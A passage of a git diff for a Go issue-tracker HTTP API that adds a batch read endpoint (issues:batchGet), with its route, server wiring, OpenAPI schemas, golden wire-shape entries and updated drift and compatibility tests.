a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -728,6 +728,19 @@ var routeTable = []route{ implemented: true, handler: (*Server).handleDelete, }, + { + op: OpBatchGetIssues, + method: http.MethodPost, + // A literal collection-level custom method, registered and preferred + // over the claim's wildcard for the sweep row's reason. POST rather + // than GET: the request names up to MaxGetManyIDs ids, which does not + // fit a query string reliably, and the delete beside it makes the same + // choice for the same reason. + pattern: "/v0/beads/issues:batchGet", + capability: "issues.batchGet", + implemented: true, + handler: (*Server).handleBatchGetIssues, + }, { op: OpAddDependencies, method: http.MethodPost, diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index 26de31cdb..a3b928390 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -279,6 +279,14 @@ type Config struct { // and neither can answer the other's question. Required on the same terms // as every field here. GraphCounter issueops.GraphCounter + // BatchGetter is the one-snapshot, many-ids read behind + // POST /v0/beads/issues:batchGet. It is a SEPARATE field from Reader for + // the reason EdgeReader and GraphCounter are separate from each other: + // Reader.Get answers ONE id with *IssueDetails or ErrNotFound, and this + // answers MANY ids with a result whose Missing field reports an absent row + // rather than refusing the call. Required on the same terms as every field + // here. + BatchGetter issueops.BatchGetter // Relations is the single-anchor neighbor read behind // GET /v0/beads/issues/{id}/related. It is a SEPARATE field from EdgeReader // for the reason issueops.EdgeReader's own doc gives at length: that role @@ -414,6 +422,7 @@ type Server struct { issueCycles issueops.CycleDetector issueEdges issueops.EdgeReader issueEdgeCounter issueops.GraphCounter + issueBatchGetter issueops.BatchGetter issueRelations issueops.Relations issueCommenter issueops.Commenter issueBlocking issueops.BlockingAnnotator @@ -625,6 +634,7 @@ func Listen(cfg Config) (*Server, error) { issueCycles: cfg.CycleDetector, issueEdges: cfg.EdgeReader, issueEdgeCounter: cfg.GraphCounter, + issueBatchGetter: cfg.BatchGetter, issueRelations: cfg.Relations, issueCommenter: cfg.Commenter, issueBlocking: cfg.BlockingAnnotator, @@ -747,12 +757,12 @@ func Listen(cfg Config) (*Server, error) { // "all or nothing" would turn an honest condition into a special case inside // three functions. It is checked once, on its own, below. func sourceRoles(cfg Config) []any { - return []any{cfg.Reader, cfg.Claimer, cfg.ReadyClaimer, cfg.Releaser, cfg.Lifecycle, cfg.BatchCloser, cfg.Settings, cfg.Stats, cfg.CycleDetector, cfg.EdgeReader, cfg.GraphCounter, cfg.Relations, cfg.Commenter, cfg.BlockingAnnotator, cfg.TreeWalker, cfg.ReadyCounter, cfg.Counter, cfg.Querier, cfg.Sweeper, cfg.Deleter, cfg.BatchCreator, cfg.DependencyEditor, cfg.BatchApplier, cfg.Memories, cfg.MetadataCAS} + return []any{cfg.Reader, cfg.Claimer, cfg.ReadyClaimer, cfg.Releaser, cfg.Lifecycle, cfg.BatchCloser, cfg.Settings, cfg.Stats, cfg.CycleDetector, cfg.EdgeReader, cfg.GraphCounter, cfg.BatchGetter, cfg.Relations, cfg.Commenter, cfg.BlockingAnnotator, cfg.TreeWalker, cfg.ReadyCounter, cfg.Counter, cfg.Querier, cfg.Sweeper, cfg.Deleter, cfg.BatchCreator, cfg.DependencyEditor, cfg.BatchApplier, cfg.Memories, cfg.MetadataCAS} } // roleSourceNames spells sourceRoles for the refusal message, in the same // order, so a caller reading the error learns the whole set it must pass. -const roleSourceNames = "Reader, Claimer, ReadyClaimer, Releaser, Lifecycle, BatchCloser, Settings, Stats, CycleDetector, EdgeReader, GraphCounter, Relations, Commenter, BlockingAnnotator, TreeWalker, ReadyCounter, Counter, Querier, Sweeper, Deleter, BatchCreator, DependencyEditor, BatchApplier, Memories and MetadataCAS" +const roleSourceNames = "Reader, Claimer, ReadyClaimer, Releaser, Lifecycle, BatchCloser, Settings, Stats, CycleDetector, EdgeReader, GraphCounter, BatchGetter, Relations, Commenter, BlockingAnnotator, TreeWalker, ReadyCounter, Counter, Querier, Sweeper, Deleter, BatchCreator, DependencyEditor, BatchApplier, Memories and MetadataCAS" func anyRoleSet(cfg Config) bool { return slices.ContainsFunc(sourceRoles(cfg), func(r any) bool { return r != nil }) @@ -1126,6 +1136,21 @@ func (s *Server) graphCounter(r *http.Request) (issueops.GraphCounter, error) { return src.GraphCounter() } +// batchGetter returns the many-ids read surface for one request, built the +// same two ways as edgeReader above and held by INTERFACE so +// uow.BatchGetterSource is load-bearing rather than decorative. +// +// It goes out UNWRAPPED, for graphCounter's reason: the role answers with a +// VALUE whose slices a nil-safe range walks, so no handler dereferences a +// pointer it returned. +func (s *Server) batchGetter(r *http.Request) (issueops.BatchGetter, error) { + if s.provider == nil { + return s.issueBatchGetter, nil + } + var src uow.BatchGetterSource = timedProvider{inner: s.provider, rec: requestInfo(r.Context())} + return src.BatchGetter() +} + // relations returns the single-anchor neighbor surface for one request, built // the same two ways as edgeReader above and held by INTERFACE so // uow.RelationsSource is load-bearing rather than decorative. diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 4b36dee2d..4c5b22462 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -63,7 +63,7 @@ info: outside its own parameter table with `400` / `code: invalid_argument` / `reason: "unknown_parameter"` and `param` naming the offending key. Operations that declare no QUERY parameter at all reject every query key - the same way. Today that is twenty-five of the forty-one operations + the same way. Today that is twenty-six of the forty-two operations here — `GET /healthz`, `GET /v0/beads/context`, `GET /v0/beads/dependencies/cycles`, `POST /v0/beads/issues`, `PATCH /v0/beads/issues/{id}`, @@ -74,6 +74,7 @@ info: `POST /v0/beads/issues/{id}:reopen`, `POST /v0/beads/issues/{id}:casMetadata`, `POST /v0/beads/issues:sweep`, `POST /v0/beads/issues:delete`, + `POST /v0/beads/issues:batchGet`, `POST /v0/beads/issues:batchCreate`, `POST /v0/beads/issues:batchApply`, `POST /v0/beads/issues:batchClose`, `GET /v0/beads/config`, @@ -3795,6 +3796,101 @@ paths: '503': $ref: '#/components/responses/Unavailable' + /v0/beads/issues:batchGet: + post: + operationId: batchGetIssues + summary: Read many issues by id in one snapshot + description: >- + Reads every issue the request NAMES, hydrated, in ONE snapshot. It is + the operation behind `issueops.BatchGetter`, and exists because the + obvious way to read N issues — `GET /v0/beads/issues/{id}` repeated N + times — costs N round trips to answer a question a caller already + knows the shape of: "which of these ids exist, and what do they look + like right now." + + + A POST rather than a `GET` with a repeated query parameter: the request + names up to 1000 ids, which does not fit a query string reliably, and + `issues:delete` beside it makes the same choice for the same reason. + + + ## What a miss means + + + AN ID THAT NAMES NO STORED ROW IS NOT AN ERROR. It is reported in + `missing`, in the order it was first named, beside whatever else + resolved — the same answer `GET /v0/beads/dependencies` and + `GET /v0/beads/dependencies:count` give a miss on their own anchors, + and the opposite of `GET /v0/beads/issues/{id}`, which answers ONE id + with the issue or a `404`. There is no `404` on this operation: a + batch read that discarded the ids that DID resolve because one did not + would be strictly worse than reporting both. + + + DUPLICATES COLLAPSE. A request naming the same id twice gets it back + once, in `issues` or in `missing`, in the position of its FIRST + mention — never both. `issues` and `missing` partition the DISTINCT + ids the request named; their lengths always sum to that count. + + + An empty `ids` is legal and answers with both arrays empty — the same + empty-request answer `EdgeCountRequest.ids` documents, because "no + ids" is a legitimate thing to ask for 0 issues about. + + + ## One snapshot + + + The existence check and the hydration share ONE transaction, so a + response never reports an id missing while a concurrent write was + creating it, or hands back a row for an id a concurrent write had + already deleted. Each returned issue carries its current `revision`, + so a caller that goes on to write one back has the + optimistic-concurrency token a lifecycle write wants without a second + round trip. + + + ## No HTTP client leg yet + + + This operation ships a server and a library role on every leg (dolt, + embedded dolt, the unit-of-work provider), but no generated HTTP + CLIENT method. A caller on the wrong side of that door reaches it + through the raw request this document describes rather than through a + typed client call, until the client generator lands. + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/BatchGetIssuesRequest' + security: + - bearerToken: [] + responses: + '200': + description: >- + The ids that resolved, hydrated, plus the ids that did not. + content: + application/json: + schema: + $ref: '#/components/schemas/BatchGetIssuesResult' + '400': + description: >- + Invalid request: an unparseable or oversized body, an unknown body + member, an `ids` carrying more than 1000 entries (counted before + deduplication), or a blank entry. + x-bd-codes: [invalid_argument] + content: + application/problem+json: + schema: + $ref: '#/components/schemas/Problem' + '401': + $ref: '#/components/responses/Unauthenticated' + '500': + $ref: '#/components/responses/InternalError' + '503': + $ref: '#/components/responses/Unavailable' + /v0/beads/issues:batchCreate: post: operationId: batchCreateIssues @@ -6630,6 +6726,229 @@ components: payload: type: string + BatchGetIssue: + type: object + description: >- + One resolved entry of `BatchGetIssuesResult.issues`: an `Issue` plus + its current `revision`. Property semantics other than `revision` are + documented on `Issue`; the spec repeats the list rather than + composing it (see the note at the top of this document). + x-go-type: types.BatchGetIssue + x-go-type-import: + name: types + path: github.com/steveyegge/beads/internal/types + required: [id, title, priority, created_at, updated_at, revision] + properties: + id: + type: string + description: Canonical issue id, e.g. `bd-abc`. + title: + type: string + description: + type: string + design: + type: string + acceptance_criteria: + type: string + notes: + type: string + spec_id: + type: string + status: + type: string + description: >- + `open`, `in_progress`, `blocked`, `closed`, or any custom status + configured for the workspace. NOT a closed vocabulary: clients must + treat an unrecognized value as "some status I do not know". + priority: + type: integer + description: 0 (most urgent) through 4. Always present; 0 is a real value. + issue_type: + type: string + description: >- + `bug`, `feature`, `task`, `epic`, `chore`, `gate`, and workspace + configured types. Not a closed vocabulary. + is_blocked: + type: boolean + description: >- + The persisted readiness projection — true when an open blocking + dependency keeps this issue out of the ready set. Derived from the + dependency graph; never set by a client. + + + NOT POPULATED by the /v0 read endpoints today: they hydrate issues + without it, so the field is absent from their responses and its + absence says nothing about whether an issue is blocked. Use + `/v0/beads/ready` or the dependency endpoints to answer that. The + field is carried by events-journal snapshots, which is where it is + read back, and it is documented here because those snapshots + serialize the same type this schema is pinned to. + assignee: + type: string + description: The actor currently holding the issue, if any. + owner: + type: string + estimated_minutes: + type: integer + created_at: + type: string + format: date-time + created_by: + type: string + updated_at: + type: string + format: date-time + started_at: + type: string + format: date-time + closed_at: + type: string + format: date-time + close_reason: + type: string + closed_by_session: + type: string + lease_expires_at: + type: string + format: date-time + description: Expiry of the current claim's lease, when one is active. + heartbeat_at: + type: string + format: date-time + lease_granted_node: + type: string + description: >- + The replica that granted the lease. Empty means the provenance is + unknown, which is treated as local. + due_at: + type: string + format: date-time + defer_until: + type: string + format: date-time + external_ref: + type: string + source_system: + type: string + metadata: + type: object + additionalProperties: true + description: >- + Arbitrary caller-supplied JSON object. VALUES MAY BE OF ANY JSON + TYPE — string, number, boolean, array or nested object — because + typed values enter through the explicit JSON metadata path and + persist in older rows. Clients MUST NOT decode this into a + string-to-string map; a strict decode fails on the first typed + value and takes the whole response with it. That prohibition is on + assuming a narrower type when reading THIS document: a profile MAY + declare a narrower value schema under the rules in **Profiles**, + and a client of that profile may rely on the profile's declaration. + + + The object-at-top-level shape is the contract every producer and + every metadata filter (`metadata_field`, `has_metadata_key`) + assumes, but be aware the store validates only that the value is + WELL-FORMED JSON: a row created with a non-object (e.g. + `bd create --metadata '[1,2]'`) can carry an array or a scalar + here. That is a storage-side gap, not licence for a producer to + emit one — but a tolerant client should skip such a row rather than + fail the whole response. + compaction_level: + type: integer + compacted_at: + type: string + format: date-time + compacted_at_commit: + type: string + original_size: + type: integer + labels: + type: array + items: + type: string + dependencies: + type: array + description: >- + Dependency edges. Populated in export/interchange contexts; the + detail endpoint returns richer entries — see `IssueDetails`. + items: + $ref: '#/components/schemas/Dependency' + comments: + type: array + items: + $ref: '#/components/schemas/Comment' + sender: + type: string + ephemeral: + type: boolean + description: Ephemeral records are not synced. + no_history: + type: boolean + wisp_type: + type: string + storage_class: + type: string + description: >- + The record's history/replication contract. Empty means unset, which + resolves to ephemeral for wisp-plane records and versioned + otherwise. + pinned: + type: boolean + is_template: + type: boolean + bonded_from: + type: array + items: + $ref: '#/components/schemas/BondRef' + await_type: + type: string + description: Gate condition type. + await_id: + type: string + timeout: + type: integer + format: int64 + description: >- + NANOSECONDS. This is a Go `time.Duration`, which encodes as an + int64 nanosecond count — a pre-existing wire fact, not a choice. + waiters: + type: array + items: + type: string + source_formula: + type: string + source_location: + type: string + mol_type: + type: string + work_type: + type: string + event_kind: + type: string + actor: + type: string + description: >- + For event records, the entity that caused the event. Unrelated to + the claiming actor in `ClaimRequest`. + target: + type: string + payload: + type: string + revision: + type: string + description: >- + The row's optimistic-concurrency token, spelled the way + `IssueDetails.revision` spells it — a decimal string, never a + number (a JSON number loses precision past 2^53 and the token + spans the full int64 range). EQUALITY-ONLY: compare it, never + order or interpret it. Send it back verbatim as an + `expected_version` on a lifecycle write. + + + NO omitempty: it is ALWAYS PRESENT, including as `"0"` for a + legacy migration-0054 row that has not been mutated since, the + same rule `IssueDetails.revision` states in full. + IssueWithCounts: type: object description: >- @@ -7582,7 +7901,8 @@ components: `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, - `issues.sweep`, `issues.delete`, `issues.batchCreate`, + `issues.sweep`, `issues.delete`, `issues.batchGet`, + `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, @@ -8071,6 +8391,74 @@ components: items: type: string + BatchGetIssuesRequest: + type: object + additionalProperties: false + required: [ids] + description: >- + Which issues to read, in one snapshot. There is no predicate here — + the caller already knows the ids — which is `DeleteIssuesRequest`'s + own reason for carrying none. + + + `additionalProperties: false`, so an unknown member is a `400` naming + the member. + properties: + ids: + type: array + maxItems: 1000 + description: >- + The issues to read, exact ids, in either plane. DUPLICATES + COLLAPSE: a repeated id is answered once, in the position of its + first mention. An EMPTY array is legal and answers with both + `issues` and `missing` empty — it is not refused the way + `DeleteIssuesRequest.ids` refuses one, because a read that found + nothing to read is not a mistake the way a delete that erased + nothing usually is. + + + The cap is on the REQUEST, counted before deduplication: a caller + sending 1500 mentions of 3 distinct ids still names a request this + operation refuses, because the obligation the cap bounds is + reading the request apart, not reading the rows it resolves to. + items: + type: string + + BatchGetIssuesResult: + type: object + required: [issues, missing] + description: >- + The issues that resolved, hydrated, plus the ids that did not — both + read from the SAME snapshot. Never a `404`: an id naming no stored row + is reported in `missing`, not refused, the same set-read answer + `DependencyEdges` and `EdgeCounts` give. + properties: + issues: + type: array + description: >- + One entry per requested id that resolved, in the REQUEST's order + (the caller's first mention of each distinct id), never the + storage engine's natural order. Each issue carries its current + `revision`, so a caller that goes on to write one back has the + optimistic-concurrency token a lifecycle write wants without a + second round trip. Empty array (never null) when nothing resolved. + + + HYDRATION IS LABELS ONLY: no dependencies, dependents or comments + — use `GET /v0/beads/issues/{id}` (`IssueDetails`) for those. + items: + $ref: '#/components/schemas/BatchGetIssue' + missing: + type: array + description: >- + The requested ids that resolved to no stored row, in the same + first-mention order as the request. An id here contributes no + entry to `issues`, and the two arrays' lengths always sum to the + number of DISTINCT ids the request named. Empty array (never null) + when every named id resolved. + items: + type: string + SweepRequest: type: object additionalProperties: false diff --git a/internal/httpapi/spec_parity_test.go b/internal/httpapi/spec_parity_test.go index b299f2b02..3d9fb664d 100644 --- a/internal/httpapi/spec_parity_test.go +++ b/internal/httpapi/spec_parity_test.go @@ -17,6 +17,7 @@ import ( "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/httpapi/spec" "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" ) // These tests are the spec drift gates. They are pure — no database, no @@ -418,6 +419,31 @@ func TestSpecDefaultsMatchSharedConstants(t *testing.T) { t.Errorf("%s: issue_id minItems = %v, want 1", opID, schema["minItems"]) } } + + // The id bound on the two request bodies that carry an `ids` list, for the + // anchor bound's reason: each is enforced in code — maxDeleteIDs in the + // delete handler, issueops.MaxGetManyIDs in the role behind batchGet — and + // restated as the member's maxItems, which is where a generated client + // learns it. Each body is reached through its operation's own $ref, so a + // row cannot go on checking a schema its operation stopped using. + for _, tc := range []struct { + opID string + want int + }{ + {OpBatchGetIssues, issueops.MaxGetManyIDs}, + {OpDeleteIssues, maxDeleteIDs}, + } { + so, ok := ops[tc.opID] + if !ok { + t.Fatalf("operation %q missing from the spec", tc.opID) + } + media := mapAt(t, mapAt(t, mapAt(t, so.op, "requestBody"), "content"), "application/json") + body := resolveRef(t, doc, mapAt(t, media, "schema")) + ids := resolveRef(t, doc, mapAt(t, mapAt(t, body, "properties"), "ids")) + if got, ok := ids["maxItems"].(int); !ok || got != tc.want { + t.Errorf("%s: ids maxItems = %v, want the enforced bound %d", tc.opID, ids["maxItems"], tc.want) + } + } } // capabilityToken matches one backticked capability token in the diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 30ff61ebe..ff6021bb6 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -697,6 +697,384 @@ "required": true, "item_type": "object" }, + { + "schema": "BatchGetIssue", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "actor", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "await_id", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "await_type", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "bonded_from", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "BatchGetIssue", + "member": "close_reason", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "closed_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "closed_by_session", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "comments", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "BatchGetIssue", + "member": "compacted_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "compacted_at_commit", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "compaction_level", + "type": "integer", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "created_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "BatchGetIssue", + "member": "created_by", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "dependencies", + "type": "array", + "required": false, + "item_type": "object" + }, + { + "schema": "BatchGetIssue", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "ephemeral", + "type": "boolean", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "estimated_minutes", + "type": "integer", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "event_kind", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "external_ref", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "heartbeat_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "BatchGetIssue", + "member": "is_blocked", + "type": "boolean", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "is_template", + "type": "boolean", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "issue_type", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "BatchGetIssue", + "member": "lease_expires_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "lease_granted_node", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "metadata", + "type": "object", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "mol_type", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "no_history", + "type": "boolean", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "notes", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "original_size", + "type": "integer", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "owner", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "payload", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "pinned", + "type": "boolean", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "priority", + "type": "integer", + "required": true + }, + { + "schema": "BatchGetIssue", + "member": "revision", + "type": "string", + "required": true + }, + { + "schema": "BatchGetIssue", + "member": "sender", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "source_formula", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "source_location", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "source_system", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "spec_id", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "started_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "status", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "storage_class", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "target", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "timeout", + "type": "integer", + "format": "int64", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "title", + "type": "string", + "required": true + }, + { + "schema": "BatchGetIssue", + "member": "updated_at", + "type": "string", + "format": "date-time", + "required": true + }, + { + "schema": "BatchGetIssue", + "member": "waiters", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "BatchGetIssue", + "member": "wisp_type", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssue", + "member": "work_type", + "type": "string", + "required": false + }, + { + "schema": "BatchGetIssuesRequest", + "member": "ids", + "type": "array", + "required": true, + "item_type": "string" + }, + { + "schema": "BatchGetIssuesResult", + "member": "issues", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "BatchGetIssuesResult", + "member": "missing", + "type": "array", + "required": true, + "item_type": "string" + }, { "schema": "Blocker", "member": "id", diff --git a/internal/httpclient/encode/oracle_test.go b/internal/httpclient/encode/oracle_test.go index e50e06dc7..d127a83c4 100644 --- a/internal/httpclient/encode/oracle_test.go +++ b/internal/httpclient/encode/oracle_test.go @@ -70,6 +70,7 @@ func startOracle(t *testing.T) *oracle { CycleDetector: stubCycles{}, EdgeReader: stubEdges{}, GraphCounter: stubGraphCounter{}, + BatchGetter: stubBatchGetter{}, Relations: stubRelations{}, Commenter: stubCommenter{}, BlockingAnnotator: stubBlocking{}, @@ -268,6 +269,7 @@ type ( stubCycles struct{ issueops.CycleDetector } stubEdges struct{ issueops.EdgeReader } stubGraphCounter struct{ issueops.GraphCounter } + stubBatchGetter struct{ issueops.BatchGetter } stubRelations struct{ issueops.Relations } stubCommenter struct{ issueops.Commenter } stubBlocking struct{ issueops.BlockingAnnotator } diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index feae076dc..3960c50e1 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -98,6 +98,10 @@ var opCapability = map[string]string{ OpRememberMemory: "memories.remember", OpGetMemory: "memories.get", OpForgetMemory: "memories.forget", + // The batch read (upstream #7248) is CLASSIFIED, not wired, for the reason + // the block above states: the server publishes it ahead of the accessor + // that dials it, and the set-equality gate needs its token here first. + OpBatchGetIssues: "issues.batchGet", } // CapProjectEnforce is the behavior capability the server advertises to announce diff --git a/internal/httpclient/wire/paths.go b/internal/httpclient/wire/paths.go index 097e5534f..195c101c3 100644 --- a/internal/httpclient/wire/paths.go +++ b/internal/httpclient/wire/paths.go @@ -56,6 +56,7 @@ const ( OpRememberMemory = "rememberMemory" OpGetMemory = "getMemory" OpForgetMemory = "forgetMemory" + OpBatchGetIssues = "batchGetIssues" ) // The paths that carry no caller-supplied segment. A path with one is built by diff --git a/internal/httpclient/wire/revision_tolerance.go b/internal/httpclient/wire/revision_tolerance.go index 82001d839..94b55748b 100644 --- a/internal/httpclient/wire/revision_tolerance.go +++ b/internal/httpclient/wire/revision_tolerance.go @@ -33,7 +33,9 @@ const itemsKey = "items" // here, at the reader, on the small, explicit set of types that carry it. // // The set is exactly the schemas internal/httpapi/wireshape's digest records -// with a `revision` member (TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember +// with a `revision` member, less the ones revision_tolerance_test.go's +// revisionSchemaExempt documents as unreachable by a legacy server +// (TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember // pins this against the same golden.json TestWireShapeDigest guards, so a new // revision-bearing schema cannot slip past both without the coverage test // failing first): diff --git a/internal/httpclient/wire/revision_tolerance_test.go b/internal/httpclient/wire/revision_tolerance_test.go index 28a31660f..9b410298f 100644 --- a/internal/httpclient/wire/revision_tolerance_test.go +++ b/internal/httpclient/wire/revision_tolerance_test.go @@ -274,6 +274,17 @@ var revisionSchemaCoverage = map[string]any{ "UpdateIssueResponse": &apigen.UpdateIssueResponse{}, } +// revisionSchemaExempt maps a golden.json schema that carries a `revision` +// member but needs no legacy-integer tolerance to the reason it needs none. A +// schema is covered or exempt, never both, and an exemption goes stale the same +// way a coverage entry does. +var revisionSchemaExempt = map[string]string{ + "BatchGetIssue": "BatchGetIssuesResult.issues' element. issues:batchGet (upstream #7248) postdates " + + "#6053 and types.BatchGetIssue declares Revision a string, so every server that routes it " + + "answers the decimal-string shape; a pre-#6053 server never advertises issues.batchGet, so " + + "Preflight refuses the operation with a *CapabilityError before any body is decoded", +} + // TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember is // review follow-up HIGH-a's exhaustiveness guard. It derives the set of // schemas a legacy server's bare-integer `revision` can appear on from the @@ -282,9 +293,10 @@ var revisionSchemaCoverage = map[string]any{ // schema names a second time — the grep this file's first version was // written against missed apigen.IssueDetails precisely because it is a type // alias for types.IssueDetails, invisible to a grep for "type \w+ struct.* -// revision". A schema that gains a `revision` member later and is not added -// to revisionSchemaCoverage now fails HERE, rather than only showing up as a -// silent decode failure against a real legacy server. +// revision". A schema that gains a `revision` member later and is neither +// added to revisionSchemaCoverage nor exempted in revisionSchemaExempt now +// fails HERE, rather than only showing up as a silent decode failure against a +// real legacy server. func TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember(t *testing.T) { path := filepath.Join("..", "..", "httpapi", "wireshape", "testdata", "golden.json") data, err := os.ReadFile(path) @@ -308,8 +320,14 @@ func TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember(t } seen[e.Schema] = true out, covered := revisionSchemaCoverage[e.Schema] + if _, exempt := revisionSchemaExempt[e.Schema]; exempt { + if covered { + t.Errorf("golden.json schema %q is in both revisionSchemaCoverage and revisionSchemaExempt; keep exactly one", e.Schema) + } + continue + } if !covered { - t.Errorf("golden.json schema %q carries a `revision` member with no entry in revisionSchemaCoverage; add one, and extend revisionBearingResponse (or document why it needs no legacy-integer tolerance)", e.Schema) + t.Errorf("golden.json schema %q carries a `revision` member with no entry in revisionSchemaCoverage; add one, and extend revisionBearingResponse (or exempt it in revisionSchemaExempt with the reason it needs no legacy-integer tolerance)", e.Schema) continue } if !revisionBearingResponse(out) { @@ -324,4 +342,12 @@ func TestRevisionBearingResponseCoversEveryWireShapeSchemaWithARevisionMember(t t.Errorf("revisionSchemaCoverage lists %q, but golden.json has no entry for it with member \"revision\" anymore; remove the stale entry", schema) } } + for schema, reason := range revisionSchemaExempt { + if !seen[schema] { + t.Errorf("revisionSchemaExempt lists %q, but golden.json has no entry for it with member \"revision\" anymore; remove the stale exemption", schema) + } + if strings.TrimSpace(reason) == "" { + t.Errorf("revisionSchemaExempt lists %q with no reason; say why it needs no legacy-integer tolerance", schema) + } + } } diff --git a/internal/httpclient/wire/skew_test.go b/internal/httpclient/wire/skew_test.go index 6cf0465af..bf431d7c8 100644 --- a/internal/httpclient/wire/skew_test.go +++ b/internal/httpclient/wire/skew_test.go @@ -110,16 +110,16 @@ func TestAgainstAFirstSliceServerEveryPostBaselineOperationRefusesWithCaseTwoDat t.Fatalf("post-baseline ops on a first-slice token = %v, want exactly [claimIssue]", compat) } // The dimension is pinned so the matrix cannot shrink silently: the first - // slice served six operations and the tip surface has forty-one, so - // thirty-five of them are things a first-slice server has never heard of. The + // slice served six operations and the tip surface has forty-two, so + // thirty-six of them are things a first-slice server has never heard of. The // wire wave moved this from twenty-seven to thirty — claimNext, release and // count — wave 2 to thirty-two, adding the dependency-edge count and the - // related read, and the mini-sync to thirty-five: the comment write and the - // two config writes. Each is an operation a first-slice server never served - // and this client does not yet dial, which is exactly the shape the refusal - // matrix is about. - if len(refused) != 35 { - t.Fatalf("the post-baseline set has %d operations a first-slice server never served, want 35", len(refused)) + // related read, the mini-sync to thirty-five: the comment write and the two + // config writes, and the batch read (upstream #7248) to thirty-six. Each is + // an operation a first-slice server never served and this client does not + // yet dial, which is exactly the shape the refusal matrix is about. + if len(refused) != 36 { + t.Fatalf("the post-baseline set has %d operations a first-slice server never served, want 36", len(refused)) } // The compat op forces the handshake yet preflights clean: issues.claim is on diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 168f77ebb..4db0f3813 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -67,6 +67,7 @@ func TestOperationIdsMatchTheServerRouteTable(t *testing.T) { {OpCompareAndSetMetadata, httpapi.OpCompareAndSetMetadata}, 